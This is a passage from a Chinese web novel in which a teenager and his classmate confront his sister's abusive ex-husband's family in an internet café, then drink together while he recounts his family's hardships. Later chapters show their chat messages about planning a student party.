再加上常年的恐惧,方笑贻下意识咬了下嘴唇,力有点重,因为就想要一点痛觉来保持清醒。 边煦却从后视镜里,见他下嘴唇被咬得发白,心里一时也牵牵扯扯的。 但是“别担心”、“别这样”,边煦也一句说不出口。他只是用力想了想,很快给出建议:“给网吧的袁老板打一个吧?如果你姐在店里,他是最近的。” 方笑贻刚想到的联系人是席子,席子肯定会帮忙,但他可能不在网吧。而眼下,近确实优于一切。 方笑贻松开牙关说:“行,你打吧,‘联系人’里,找‘网吧-老袁’。” 边煦就又给老袁打了一个。 对面,老袁立刻给挂了。边煦又打了两个,他才接了,只是背景音哗然一片,而他语气也很不耐烦:“谁啊?” 两人跑得太急,耳机都扔在包里了。 边煦就把音量调到最大,再把手机贴在方笑贻右边耳朵上,自己再贴到手机背面,听他俩说话。 方笑贻赶紧说:“袁哥是我,斜对门王姐杂货家的小方。” 老袁一听,语气忽然愤慨:“诶唷我靠!你小子,赶紧给我回来!” 方笑贻却是心口一紧,但有了点着落:老袁这个语气,说明他是知情,甚至相关的。 然后果不其然,老袁骂骂咧咧地告诉他俩:6点出头,方雪晴忽然抱着孩子冲进网吧深处,抢了个键盘在屏上打字,说人贩子要抢她的孩子。随后2个男的和4个老嫂子又跑进来,想叫她出去,她死活不肯,到处乱蹿,孩子也哭得震天响,把他的网吧搞得乌烟瘴气的。 可方笑贻听到这里,悬在嗓子眼的心,才往下落了一截。 他又说了点客套话:感谢、抱歉、愿意赔偿损失…… 等他说到“袁哥再见”,边煦挪开手机,让对方挂了,又从镜子里看到他的脸,还低沉地板着,就拿手机轻轻戳了下他的脸颊肉,说:“虚惊一场,一点表示都不给吗?” 方笑贻脸上皮肉薄,被戳得有点咯,扭开头说:“事又没完?给个屁啊。” “你没听过一句话吗?”边煦问他,“进一寸有一寸的欢喜。” “听过,”方笑贻不仅听过,他还记得前一句是什么,但记得也无济于事,他还不是慌得像狗?方笑贻不屑道,“但是鸡汤,我不喝。” 边煦摇头:“你这个同志,油盐不进啊。” 方笑贻说:“就不进。” 边煦就说:“那把你告到中央,再告到联合国。” 方笑贻终于被雷笑了:“啥啊,神金。” 不过托边煦的福,他一笑,那种沉甸甸的愤怒才像是落进了水里的石头,悄悄地不知沉哪儿去了。 风又拂到了他的脸上,而边煦在后视镜里看他,那个眼神像水一样,柔软静谧地在镜片上晃荡。 方笑贻心下被晃得一软,鬼使神差地问了一句:“你,没什么想问我的吗?” 边煦眉梢一扬,脸上就多了丝饶有趣味:“你不是不让我问吗?” 方笑贻破罐子破摔道:“现在区别已经不大了,你反正也知道得差不多了。” “不,差挺多的,”边煦斤斤计较道,“我从袁老板这里偷听的,和你主动跟我说,是两回事。我确实有问题想问你。” 那就是:方笑贻为什么会这么如临大敌?他平时不是这样的,一定发生了什么?才会让他像自己面对边扬的事一样,这么没头没脑。 至于来抢的孩子的人是谁?边煦自己推一推,结论也就差不多了:方笑贻的姐是孩子的妈,那来抢的就只有孩子的爸了。而他叫什么?跟那个何子谦是什么关系?都不重要。 “但我的问题,什么时候问都可以。”边煦问他,“现在还是说你吧,待会儿到了网吧,你准备怎么办?” 方笑贻头一下又大了起来,但边煦是会给他抓重点的:这确实是他眼下最该思考的问题。 但网吧的问题,其实也不大,方笑贻说:“我只要人在场,总能想到办法,把孩子留住的,怕的就是像我不在的情况。” 边煦不赞成道:“如果你要这么想问题,那你就应该24小时留在他们身边。” 方笑贻吹了下刘海:“就是因为做不到,也不可能,所以才会焦虑啊。” 边煦听着都替他累:“其实你心里很清楚吧?在孩子这件事上,你占了你姐姐的位置,她的问题,你来解决,就相当于力臂变成了两两倍,你需要花两倍的力气,来达到同样的结果。” 这个方笑贻心知肚明,他以前也和老杨讨论过:人妄想越俎代庖,去解决别人的问题,就会累死。 但方雪晴是“别人”吗?自己的问题里,包不包括她呢? 这些,方笑贻都是认真想过的,他说:“知道,但她解决不了,你不管她吗?” 他替家庭背负太多了,可能是因为能者多劳。这是他的不幸,也是他的强悍之处。 他在这种环境里,还保持住了对家庭的仁爱,边煦有一瞬间,甚至是尊敬他的,但是也有一点心酸。 生活所迫,他占了“姐姐”、“家长”的位置,那方笑贻自己呢? 边煦把下巴往他左边肩上一搁,说:“管啊,但她也不用解决啊,她只需要坚持到你出现就可以了,就像今天这样。” 这话也没什么出奇的,但方笑贻以前不知道为什么,就是没想到:他姐原来只需要做到这一步,就可以了。他一直大包大揽,习惯了。 自己真是笨得可以。 方笑贻心想:但边煦在这里真好,卷王的脑子就是好使,随便瞎扯扯,就卸掉了他肩上一个无形的重担。 思维是人生莫大的牢笼,而老杨和他的儿子,看起来都是自己贵人的样子。 电瓶车拐进网吧街那条巷子时,方笑贻心里就淡定下来了。 他的沉重,一直源于想太多了,他原以为他要付出100%,所以他想要一劳永逸,但那又不可能。不过现在边煦给了他一种只需要付出10%的新思路,他就感觉能徐徐图之了。 所以车走到蜜雪冰城门口的时候,方笑贻刹住车说:“边煦,你渴不渴?要不喝饮料?” 边煦看他说得通,心里自然是愉快的,只是这是不是通过头了?边煦说:“你又不急了?还有心情喝饮料。” 方笑贻拧掉电门:“越是这种时候才越要喝。” 边煦:“为什么?” 方笑贻其实是为了哄孩子,可他人下了车说:“为了表达买家的思乡之情。” 边煦笑了一声,就感觉他挺好哄的,几句话就回血了。 第35章 晚上6点17分,天堂河网吧门口。 何子谦坐路边的传祺GS8里,看见方笑贻把电瓶车停在楼梯下面,手里提着一袋子东西,一阵风似的跑了上去。 他是肯定会来的,这点毋庸置疑,只是那个边煦,为什么也在? 起先是边煦非要来,现在是方笑贻觉得他在也挺好了。 路上,边煦想把李叔叫回来。 对方据说来了6个,方笑贻这边加上他,算上孩子也就5个,没气势。 方笑贻要实在没办法,也不会拒绝,只是眼下他觉得真不用:“这里找人撑场子很方便的,50块钱,一喊就来了。” 而50块钱,随叫随到的人工,边煦还真没见过:“那你喊吧,先喊10个。” 方笑贻感觉他的语气有点像点烧烤,嘴角扭了下,随后给席子打了电话。 今天不巧,席子有点忙,没去打《传奇》,也没看吃瓜群。 接到方笑贻电话的时候,他正在路边卖手机,为了20块钱,一直在说车轱辘话。不过方笑贻一喊,他就过来了。 于是方笑贻一出现在楼梯间二层,就听见上头有人喊:“哥,这儿。” 席子人坐在去往3层的楼梯坎子上,看见他就站了起来,往后一指说:“我喊了5个人,你看够不够?” 这些都是他刚从网吧里头喊出来的。 方笑贻打眼一瞟,见是3个年轻的、2个中年,统一都是裤衩拖鞋在玩手机,这是四海老哥的标配。 “够了。”方笑贻叫席子拉个群,他好发红包。 席子却正在打量他背后的人,然后确认是个靓仔,但没认出来。 边煦却一下就认出了他。 这小孩,不就是给自己卖电话卡的那个吗?他居然跟方笑贻也是认识的。 那种蜘蛛网一样,或许并不直接相连,但却在一张网上的感觉,让边煦觉得有点好玩,于是他冲这小孩点了下头。 席子见状,也正要点头,又听方笑贻在喊他,连忙回眼说:“ok,马上就拉。” 有个老哥立刻说:“老板,爽快哈。” 方笑贻冲他笑了下,又问席子:“我叫你的拍的人,你拍到没?” 席子一划手机,进了相册:“拍了,呐。” 方笑贻接到手里,点开之前,看了眼边煦。边煦会意,立刻凑过来了。 录像有14s,是从挺高的地方往下拍的,镜头稍微有点远,但状况还算分明。 只见人头之中,方雪晴和王玉华都在,孩子应该也在,但太矮了,没冒出来。 对面,何子谦那一家子也在。他妈妈爱盘天津大姨头,而吴建麟爱穿海滩花衬衫,方笑贻一眼就看见他俩了。 说来也怪,他每次梦到桥上那天,醒来心里都惴惴的。可隔几年再见这些人,方笑贻此刻唯一的感觉竟然只是:他们变老了。 他们老了,而自己长大了。 那种力量上的翻转,让他忽然竟生出了一种报复欲:喜欢偷着来是吧?那怎么行? 旁边,边煦一个也不认识,但审时度势,很快也找出了一撮人。 他伸手在屏幕上一划,转头正要问:是不是这几个?却见方笑贻盯着屏幕,忽然笑了下。 只是那个笑意冷冷的,完全是一种负面的产物。 但负面的边煦也要插一脚,他说:“你在笑什么?我也要笑。” 方笑贻在想的,别人肯定笑不出来,十分低级和变态。 但他还是指着“花衬衫”和“大姨头”说:“这俩,一个是我姐的前夫,一个是前夫他姐。待会,你帮我把别人隔开,尽量让我姐我妈、跟这个大妈,三人单独在一块儿。” “为什么?”边煦问他,“这个女的很关键吗?” 他是真的很敏锐,方笑贻欣赏地说:“对,她很关键。” 边煦说:“隔开了,然后呢?让你妈和你姐干什么,二打一?打她?” 方笑贻看了他一眼,神色欲言又止。 其实比打要卑劣,但在他们这一团烂账之中,方笑贻觉得是公平的。 只是边煦……万一边煦长针眼了。 方笑贻好笑又纠结,乱七八糟地笑了下才说:“你是一个纯情的男高,我本来不想污染你的耳朵的。” 边煦简直无语:“说会污染耳朵,看就不会污染眼睛了?” “就是因为会,”方笑贻两相权衡取其轻,“所以还是把你的耳朵污染算了。” 边煦把右耳往他嘴边一凑:“来,我听听,有多污?” 方笑贻立刻拿手挡住嘴,友情提醒了他几句。 边煦听完,果然露出了一副消化不良的样子:“一定得这样吗?” 方笑贻点了下头,没说话。 边煦是会攻略自己的,一句“他肯定有原因,回头再问”就把自己打发了:“那就这样。” “哪样啊?”席子看完旁边老哥的《王者荣耀》战局,忽然又来插嘴。 而他还是个豆芽菜,方笑贻干脆把他支出了战局:“这样,你一会进去了,把想想抱到收银台去,你帮我看一下他。” 可席子想看热闹,不想看孩子。但他还没来得及表达异议,方笑贻就把所有人招到一圈,先发了红包,又对着录像交代了一通。 说完他才转过身,过去掀开了网吧那一片pvc门帘。 异味和噪声瞬间扑卷而出。 “嗳你们要聊,能不能去棋牌室聊啊?” “玉华姐,你这就太过分了吧?咱们一家人,有什……” “滚!谁跟你们是一家人?听着都恶心!” “跟她废什么话!不嫌丢人!……出去再说。” “砰——走开!别碰我们!” “你个婊子养的臭寡……” 方笑贻人还在扒包围圈,听见这句,抬手就把棒打鲜橙砸了过去。 啪—— 饮料杯砸在那个骂人的花衬衫头上,把他砸得头一歪,又爆开,合成果汁“唰”的淌下来,流得他一下闭了眼。 但对面剩下的人,以及网吧90%的视线,一下全都看过来了,剩下10%,不是喝懵的,就是在打鼾。 何子谦的妈吴享珍含怒扭过头来,嘴张开了,声音还没出来。 边煦又把自己手里的柠檬水扔了过去。 于是下一秒,方笑贻就见何子谦的妈,张开涂得红彤彤的嘴尖叫道:“啊——!” 然后那个穿花衬衫的男的,也就是吴建麟,他一抹掉脸上的水,发现砸自己的人是方笑贻,立刻想抽个键盘,来打他。 但方笑贻立刻大喊:“袁老板,有人在破坏你网吧的财物,你不管吗?” 老袁想管,但也没管住。 因为吴建麟凶相毕露地冲他吼道:“滚开!掺和连你一起抽!” 老袁被他吓了一跳,怂怂地静止了。 吴建麟吼退老袁,又朝方笑贻来了。 这时,方笑贻已经冲方雪晴打完了手语。 方雪晴刚刚哭过,眼圈还是红的,但她眼神忽然狠绝,用力冲他点了下头。 方笑贻见状,就抄起一瓶他刚在买蜜雪冰城的时候,专门去买的全冻冰水,过去把吴建麟的键盘砸烂了。 而边煦手里有,他也买了的。之后,就是一场混乱。 他和吴建麟仇人见面,分外眼红地扭打到了一块,他打人,也挨打。 边煦则在应付剩下那个男的,这位中年看着也暴躁,但不太动手。他就顺便把那个三个大妈,全部一起看住了,那5个老哥站他背面,杵着当个摆件。 剩下王玉华和方雪晴,再加上何子谦的妈,三个女人拉扯撕打,最后竟成了网吧里最引人注目的战局。 因为她俩,把何子谦妈的裙子和内裤,都故意撕扯掉了。 围观的男人那么多,她当场就发出了凄厉的尖叫。 方笑贻提前交代了,叫边煦背对着她们,但他自己专门回头看了一眼,可眼里只有一团模糊。 理论上,他不该舍本逐末,跳过罪魁祸首,而来打击一个女人。但方笑贻不知道啊,该怎么攻击一个没脸没皮也没有钱的渣男? 他不知道,那就依葫芦画瓢,也攻击他的姐姐。 何子谦的妈,替她弟弟骗婚、抹黑方雪晴的名誉、现在还怂恿他来抢孩子。 那好吧,现在她和方雪晴一样,算是在路上“裸奔”过了。 那种感觉应该让人想死,所以她捂着脸,头也不回地冲出了网吧。剩下3个大妈,个个也是满脸一言难尽。 但这就是方笑贻想要的结果,他就是要这些出谋划策的害怕,他们害怕了,吴建麟才会失去团体。 这天傍晚的闹剧,不多时,终于以吴建麟“你们统统给我等着!”的狠话收了尾。 想想瑟缩在方笑贻怀里,说要回家。 方笑贻抱着他回去,半路上他就睡着了,一路上他家4口加上边煦,都很沉默。 到了楼下,天色就有点黑了,方笑贻把孩子给了他姐,自己跟边煦去天福超市取东西。 取完出来,方笑贻抬脚就往家走,边煦却没跟上。 方笑贻一家子今天应该都累了,他也准备回家了。 但他把给礼盒和外卖都给方笑贻的时候,方笑贻接过提手,又把他手腕攥住了:“你不能走,我一会想喝两口,你跑了,没陪酒的了。” 第36章 既然他不让走,边煦就跟着他回去了。 来都来了,不能白来。 不过他家里气压太低,他妈妈分明刚哭过,见自己来了,还是立刻强颜欢笑,出来洗水果又要做饭,还非要边煦把阿胶拿去退了。 边煦被热情得根本无暇观察,只好在他家踩了个印象点:一个被收拾得干净利索的老破小。很快又跟着他出来了。 只是,方笑贻带的东西有点多,左手一个电瓶、右手一个电扇。 进了楼道,边煦才说:“电瓶我可以理解,你家电瓶车没电了。但电扇的作用是什么?你要去喝两口的地方,连空调都没有吗?” 富哥就是想当然,方笑贻说:“何止没有空调,连电都没有。” 边煦只愣了一下,瞬间就反应过来了:“……你是要去我爸那儿喝吗?” “是啊,”方笑贻扭头看他,“不行吗?” 怎么可能不行呢?边煦只是忽然有点惊喜:“行啊,非常行。” 其实他知道那栋楼在哪儿,边煦可以自己去的,但他有点害怕,那里会破得让他心痛,所以他想要方笑贻陪他去。 人有得选,就是这么矫情。 两人很快下到1楼,方笑贻家的两个小车都停在楼梯底下,他把那个大的推出来,搭着边煦先去店里装了点啤酒。又在路过的熟食摊子上称了盒小龙虾。 钱是边煦付的,少爷人在电瓶车上遥遥扫的码。就冲这个眼力见,方笑贻就待见他。 7点整,两人在烂尾楼外面的路上下了车。这时,天还没黑透,还是能看见这里那颇具加沙风味的地貌。 所以,饶是方笑贻翻上窗台的时候,提醒过他了:“楼上条件很简陋的,你最好做点心理准备。” 可边煦上去之后,还是被“616”那个环境,给差到破防了:那么小,那么热,那么一无所有。 保安住的,都比这儿好。 边煦扒在养多肉这边的玻璃上,心情瞬间就跟方笑贻一样差了。 方笑贻就知道他会这样,但这就是他该挨的,就像自己一样。 所以,方笑贻也没有特别同情他,只摸出钥匙,过来寻常地把他一推:“去,开门。” 边煦接过钥匙,绕到门口,一看见那个红色的“616”,心里又刀绞一样。 方笑贻见他摸了下那个“1”,手型和骨节都是好看的形状,就是有点抖,没那么苏了。 方笑贻就也摸了下“6”,故意逗他说话:“这个数字是什么意思,你知道是吧?我不知道,我问老杨,他说就是图吉利。” 边煦心痛得呼吸都分节,好一会,才难过地说:“一点都不吉利,就是我的出生日期。” 方笑贻猜也是这些,说:“吉利的,我也想要都是6的生日,66大顺,财运滚滚。” 又来了,这牢固的人设。 边煦纵是低落,也得佩服得笑出声:“你可以改名字,叫方六六。” “啥啊,”方笑贻无语,“一股傻白甜味,不改。” 边煦实在有点揪心,逮到个能跑题的东西,把头抵在门上,偏头看着他,越说越像专家:“哪里傻白甜了?六六大顺,满足了。结构又统一,字形都差不多,你把‘方’稍微收着一点写,乍一看,还能像个‘六六六’,更6了。” “6你个头,”方笑贻把门一拍,“开门。” 边煦这才开了门。 屋里没什么东西,连霉味都没有,只是被晒了一天,闷热无比。 方笑贻汗瞬间就炸出来了,边煦也是。 正常情况下,他会问方笑贻:你确定要在这里喝吗?别中暑了。 但他这会顾不太上方笑贻,进了屋就像断了片,从墙皮摸到了破书架那儿。 方笑贻则放下电瓶,从袋里掏出信纸,也没刻意防着他,径直压在了玻璃底下。 边煦从余光里看到他的动作,立刻过来,把它们又掏了出来,然后他就坐到空床板上,打亮手机电筒,不吭声了。 方笑贻也不管他,自己去换了电瓶,又开了灯、点了蚊香,然后就一屁股坐在窗户墙下面,先连上蓝牙耳机,再开一瓶勇闯天涯,闭上眼睛在那儿喝。 老杨的信,他其实看过。 比起信,那多半都是老杨的梦的记录,他在梦里回忆“边扬”人生幸福的时刻,他的阳阳、他的爸妈,哪一天,他们干了什么。都很细碎平常,看不出他家这么有钱。 只有极少的篇幅,他在思考:后悔如他这般有缺陷的基因,实在不该娶妻生子…… 边煦中间出去了一趟。 他出去的时候,方笑贻不知道,他在放歌,音量开得不小。等睁眼的缝隙,边煦已经不见了。但方笑贻也没出去找他,只把喝空的塑料罐摞在面前,又开了一罐,继续闭眼喝。 等塑料罐摞到第3个,边煦轻轻地又回来了。 方笑贻还在那儿喝瞎酒,但刘海已经濡湿了,右边的眉弓内角处还有一滴汗,倏地沿着鼻梁内侧滚了下去。 看起来像眼泪一样。但他肤色均匀、表情平静,没有哭的痕迹。 他为什么可以这么平静? 边煦不明白,走到他旁边坐下来,再摘掉他一个耳机塞进耳洞。下一瞬,轰鸣声涌进耳膜。 边煦就知道了:因为他在平静地发疯,搞汗蒸、喝小酒、听炸雷—— 不过那种炸脑花,又热汗淋漓的感觉,其实还是挺舒畅的。 边煦就也开了罐啤酒,在他瓶上一撞,说:“瞎老板,陪酒的来了。” 早在他偷耳机的时候,方笑贻就睁眼了,此刻正好瞪他:“给你点面子,你还嘚瑟起来了。” 边煦笑了一声:“那叫错了,我重喊。” 方笑贻姑妄听之:“来。” 边煦喊了个排比句:“性感老板、帅哥老板、以后暴富老板,你爱听哪个?” 方笑贻喜好很单一的:“最后一个。” 边煦就知道,什么性感啊帅的,对他都没用,但好在自己也不穷,自信地陪了起来。 然后酒局才正式开始。 两人你碰一下我碰一下,开始只说老杨,从趣事说起。后面方笑贻先喝先醉,心防就打开了。 边煦问他:“你爸呢?” 他忍都没忍一下,来了一句:“死了啊。” 边煦又问:“怎么去世的?” “见义勇为嘛,”方笑贻说,“夏天下河里救溺水的学生,救了3个,跟剩下的1个一起没了。” 他说起这些,不仅没哭,表情反倒微微的有点讽刺。 边煦心里不是滋味,看了他几秒才说:“你是不是有点恨他?” 方笑贻被他问得一震。 边煦的角度,确实跟别人不太一样。 别人问的都是:你不难过吗?什么时候的事? 只有他会一下跳很远,而且他能踩中点。 方笑贻说实话,喜欢跟他聊天,笑了声说:“是有点,恨过。为什么要去救别人啊?把家里搞得越过越惨。” 以前他爸还活着的时候,其实他家过得还可以。他那会还是孩子王来着,是老大,把一堆小屁孩子,指挥得团团转。 他是真的辛苦了。 边煦用左手搂住他,安抚地箍了两下,也没放开,又说:“然后呢?你姐怎么会嫁给那个男的?” 这才是方笑贻真正的伤心事,所以他沉默了半天。 麻绳专挑细处断,是真的。 当年好像有很多原因: 王玉华腰椎发作,躺在床上了,没法挣钱。 他渐渐大了,饭量、衣服、鞋,都更花钱。 方雪晴是残疾人,介绍上门的不是跛子,就是智障。 而吴建麟在外面混,他不是残疾,人长得也过得去,回家还装了个xx公司副总经理的人设,开一辆福特,市里也说有房,还对方雪晴一见钟情、死缠烂打。 所以这样的条件,配当年的方雪晴,还有什么好犹豫的? “所以,”边煦说,“那些条件都是假的吗?” 方笑贻:“就是不那么假,才会变成这样。那车是他的,是个事故车,几千块钱从别人那会儿过户来的。房也有,但不是他的,是他老娘的。至于一见钟情?” 他也没钟情过谁,还搞不懂。 “但他们结婚之前,他对我姐还可以,不是现在这个样子。” 边煦说:“那后来是为什么又变了呢?” 方笑贻又喝了一口:“我觉得不是后来变的,而是他本来就是那个德行,只是之前是装的而已。” 而他们都没有看出来,还为方雪晴嫁了个条件不错的男的,而沾沾自喜,和享受过一阵的福利。 现在想来,自己那个时候,也是“吃掉”方雪晴的一份子。 之后,边煦又问他:“为什么一定得那么对那个盘头的?是他们这样……对你姐了吗?” 方笑贻眼神已经有点迷离了,可能是因此,他的眼泪才掉了出来。 天知道,他真的难过得要死。所以他猛地抱住边煦,用一种抽气的动静,在心里嚎叫。 好长一会,边煦才听见他说:“……比这个过分,过分很多。” 方雪晴以前,只是聋子,不是全哑的,她能说一点不清晰的话。但是吴建麟跟别人换老婆玩,她就,说不出话了。 所以当年,为什么要那么仓促的,就把她嫁给吴建麟呢? 方笑贻很片面,他觉得就是因为:没钱。缺到一个有缺陷的女儿,多等一年,就会更不值钱,更没得选。 钱可以解决很多问题,所以他喜欢钱,想要有钱。 第37章 早饭午饭都没吃,方笑贻一觉睡到了下午2点半。 醒来时头还有点晕,但他心里是轻盈的,好像扛到这一天,天时地利人和,某些因果就自动成熟脱落了。 他在床上赖了一会儿,才拿起手机开了机,消息红标已经能串出2串糖葫芦了,有班级群的,卖货群、谢恒、谭威、他姐…… 边煦也在,但他离被挤出屏幕就差一行了,头像上顶着一个③。 方笑贻昨晚是他送回来的,这会最先点了他的。 [边煦][8:02]:在干嘛 [边煦][9:30]:我昨晚当牛做马的,你就这样? [边煦][10:21]:[锤飞.jpg] 他是真的很爱这个粉红色的锤子表情。 而且昨晚,方笑贻昨晚头太痛了,无暇他顾。但这会儿一回想,碎片纷纷而来。 边煦昨晚,确实是操劳:收垃圾、搀自己下楼、拉自己翻墙,最后大半夜的,还在路边拿手机自学电瓶车技术,因为那块儿打不到车。 方笑贻当时蹲在路边,又想撞墙又想笑:别的学校的第一都在当男神,他们这个在干嘛啊—— 但过了会儿,他爬上后座,鄙视的笑就凝固了。 因为边煦反手撑住他的背,把他往前面一按。同时说了句:“靠着吧,你晕晕乎乎的,别我一不注意,你掉下去了。” 方笑贻前胸贴到他背上,心口也跟被震了下似的,忽然意识到了一件事。 边煦只是不想当男神,并不是说明,他不是。 眼下,方笑贻回忆完,再次感慨:老杨的基因就是有实力。 然后,他才给“实力哥”回了两条消息。 [四海大富翁]:睡觉啊 [四海大富翁]:[遇事不决睡大觉.jpg] 边煦当下没有回。 方笑贻发完也退了出来,按着关系远近,把消息看了。 手机上,方雪晴10点出头,问他起来没,叫他中午不用送饭,她要点个披萨吃。 这放以前,她是舍不得的。 所以昨晚的经历,对她来说,应该也是有用的。 方笑贻回了一条:[点,给我留两块] 出来又看了眼谭威的消息。 谭威的消息是最水的,都是瞎扯淡,说他想逃课、想去看jj的演唱会,还在犹豫,星期天要不要带尤克里里。 方笑贻逐条都回了,叫他放弃幻想,带。 回完又去看谢恒,谢恒昨晚是找的他。 [新陈代谢]:方老板,来为集团出谋划策了 [新陈代谢]:星期天的晚会,不搞则已,搞就要惊艳 [新陈代谢]:我看全班,你是最有局座气质的人,来,给我一点建议 谢恒别看人小小的一只,骨子里其实挺爱拼的,干什么都较劲。 方笑贻其实也较劲,只是目标比他浓缩,现阶段只管两点:读书和挣钱。 所以谢恒东搞西搞的,方笑贻也不嫌他屁事多,反而有点“臭味相投”。 [四海大富翁]:不好意思班长,才看见 [四海大富翁]:建议暂时没有,你要是不急,我想想 回完,他又进了班级群。群里倒是没他什么事,只是谢恒在抓壮丁,以及有人在起哄,叫别人秀才艺。 方笑贻随便扒了两下,就退出来,瞥见边煦还没回消息,就把手机扔到一边,翻身起来了。 客厅里,王玉华正在拌糯米,她做点这个零卖,见他出来,目光是关切的,但也没问什么。 没什么好问的,孩子生在这种家里,心里苦。她明白,她也苦。所以今天,也只是若无其事、寻常的一天。 但方笑贻吃饭的时候,她跟他聊了聊那个小边。 “哦?他是你室友啊。” “他长得蛮俊的。” “成绩也好啊?那你们班的小丫头好幸福叻,又能看你又能看他。” 方笑贻看了她一眼,表情已经有点无语了。 他有这个年纪的敏感,不喜欢别人对他评头论足。 但王玉华是他的亲妈,她平时爱看点浪漫韩剧,是个还有少女心的老大姐,聊起帅哥眉飞色舞的。 他只好硬着头皮捧哏:“是哦,幸福得很。” 王玉华顿时乐不可支,她家这俩孩子,从小就被人说,是中了基因彩票的,所以她总是有点担心,怕他俩长歪了。 吃完饭,方笑贻不用去店里,刷了碗回房去了,在本子上排了下今天要做的事,然后就上网,发了个收高中数学竞赛教材的帖子。 这样能比二手网店多很多选择,有时碰上慷慨的,贴个邮费人家就送了。 网上挺好的,新鲜的东西很多,方笑贻喜欢上网,但他现在不上,他要学习,先小小沉淀1小时。 沉淀到一半,边煦的消息来了。 [边煦]:牛 [边煦]:你头还痛不痛了? 但方笑贻的平板没登v信,又没回他。 他一天天的,忙得很,边煦就没再给他发了,去回唐悦的消息了。 [Rock唐]:嘛呢煦仔 [边煦]:剪头 [Rock唐]:诶唷我去,您老终于决定回归颜值赛道了哈 [边煦]:害怕吧 [Rock唐]:开玩笑?我拼才华的 [Rock唐]:但老程可能会有点害怕 边煦不在乎程慎,没回。 唐悦又问:[你怎么忽然跑去剪头发了?你不是说要等周老师回来的吗] 周老师是边煦最喜欢的理发师,倒不是说他多贵、多会剪,只是因为他手轻、话少、脾气好。 但是没办法了,周老师再过2月也不回来,而早上吃饭,盛芝华一直念,说他头发太长丑死了。 边煦本来是可以不在乎的,但都是心动害了他。 颜值就是正义,还是要注意点的。 只是这个原因,他忽然又不想跟唐悦说了。 别人的话,是有干扰的,可能也会有点聒噪,他现在想要自己咂摸和独占,自己这点新鲜出炉的悸动。 边煦说:[扎眼睛了] 唐悦笑得想死:[活该,叫你当野人] 边煦也给了他一锤子。 唐悦没被锤飞:[我想去吃干蒸,点4个菜,你陪我] 那个干蒸店,边煦过去挺远的,但他也陪:[好] 去的路上,边煦打了个车,在车上给盛芝兰发消息,说晚上不回去吃饭,回到一半,就见[大富翁]从顶栏上一闪而过。 [四海大富翁]:早好了,不皮糙肉厚不能当牛马 [四海大富翁]:你在干嘛 边煦拍了张滴滴车窗照给他,两人这才聊上了。 [边煦]:在打的,去吃饭 [四海大富翁]:吃啥 [边煦]:干蒸 [四海大富翁]:没听过 [边煦]:就是粉蒸肉 [四海大富翁]:6 [边煦]:吃不吃?我来接你 [四海大富翁]:不吃,别搞 [边煦]:[锤飞.jpg] [四海大富翁]:[我一拳过去,你可能会死.jpg] [边煦]:[好想骂人,可我的人设是甜妹.jpg] 方笑贻实在没绷住。 [四海大富翁]:你一天天的,哪儿来这么多表情包? [四海大富翁]:你不会在网上当海王吧? [边煦]:海王效率低 [边煦]:我有唐悦就够了,他表情包大户 方笑贻回了个“撇嘴”的表情,叫他去吃,自己准备再去沉淀一轮。 边煦却还意犹未尽,激素就是这样神奇,能让哑巴都变成话痨,他又给方笑贻抛了个话题。 [边煦]:谢恒找过你吧?叫你给他出主意 方笑贻已经退出了他的对话框,但还没关v信,见他消息来了,就又回去了。 [四海大富翁]:也找过你吗? [边煦]:嗯 [四海大富翁]:你是董事长,找你也正常 [边煦]:主席谦虚了 [四海大富翁]:你给班长出了什么锦囊妙计,我听听 [边煦]:我说叫他找你 [四海大富翁]:[鲨了你.jpg] [边煦]:所以,你给班长出了什么主意? [四海大富翁]:我哪有什么主意?你个害人精 [边煦]:你会有的,你一看就是我们班最聪明的人 [四海大富翁]:想捧杀我?滚 边煦才舍不得滚,聊得眼弯嘴翘的。 前面开车的大哥从镜里一暼他,就知道这小子坠入爱河了。 之后一直到晚上,边煦都有一搭没一搭地在v信里催:[快想,救救班长] 方笑贻其实也想不出什么,人类的创意在于模仿,他上网搜了下,也没找到特别新鲜的。就去吃了饭,出门给方雪晴送饭了。 但是半路上,他在路边的广场舞据点上,被人发了张小纸片。 那纸片很小,在四海随处可见,看着是条语焉不详的招工广告,其实就是让人去“做法人”。 方笑贻平时没少见,但今天在广场舞的音箱口接到它,脑中所有的元素忽然集体联动,还真冒出了一个灵感来。 路上,他又想了想,一拿手机,又看见边煦在催,就在搂孩子的间隙里,跟边煦聊了聊。 对面,边煦还在干蒸店里,他已经吃好了,原本在等唐悦。等看见消息,又变成了纯聊天。 方笑贻真的挺会整活,边煦看完回他。 [边煦]:我觉得可以,挺好玩的 [四海大富翁]:真的? 之后,方笑贻认真做了个计划,两人又在手机上窃窃私语了几个小时。然后方笑贻给谢恒发了个想法。 谢恒立刻回了他一条:[哈哈哈我靠!史诗级策划!你考200分!] 随后谢恒拉了个小群,一伙人密谋了半个晚上。 第二天下午的时候,高一高二的寝室楼门口,就有人在发一种小纸条。 它三指长、小票纸宽,上面用粗细大小不同的字体印着: [周日自习后Party night:(非校方组织!悄悄传阅,不要声张!) 周日今晚,我们将于晚自习课后,在学校文化石广场举行野生音乐会,现有曲目《Love story》、《梁祝》、男爵热舞《trouble maker》……愿者自来,欢迎参与。 Ps:因之前从未举办过如此活动,请大家文明礼貌,不要乱丢垃圾。如果被学校抓住,不要犹豫,逃!] 第38章 尽管这纸条的模版,是方笑贻提供的。但之后对于晚会的策划,他实际参与感不高。 谢恒行动力很强,哐哐发散开了,跑腿的活也不叫他干,一是嫌大材小用,二是他住得远。 方笑贻也不是那种很能水或捧场的,也没表演,径直回归酱油之列,过他四海的星期天。 收教材、写作业、送饭、采买、带孩子玩……唯一的差别,大概就是有时,会跟边煦扯扯淡。 边煦废话还挺多的,早上6点半就开始了。 [边煦]:别睡了,起来卷 [边煦]:[照片.jpg] 那是一本《高中卷18.组合极值》的封面照片,别称数竞小蓝本。 方笑贻当时也醒了,正在筛教材帖的回复,一看就把他锤飞了。 卷王真的是可恨。 只可惜卷王不自知,还在对面恶人先告状。 [边煦]:有些人,偷我表情 [四海大富翁]:想开点,这也是你从别人那儿偷的 [边煦]:有道理,想开了 [四海大富翁]:有慧根,拉黑了 [边煦]:ai助手,不要了? [四海大富翁]:要 [边煦]:说点好听的 [四海大富翁]:[对不起.jpg] [边煦]:不好听,不够具体 [四海大富翁]:[恭喜发财,大吉大利] 边煦头一回看见他的红包,挺感兴趣里头有多少,谁知道一点:……它是一个表情包。 他立刻也赏了方笑贻一锤子。 但提到ai助手,方笑贻是不会走的,拉着他一通说,说到一半,自己嫌打字麻烦,干脆连上耳机,给他打了个语音。 聊完还不到7点,方笑贻注意到时间,才忽然想起来一个问题。 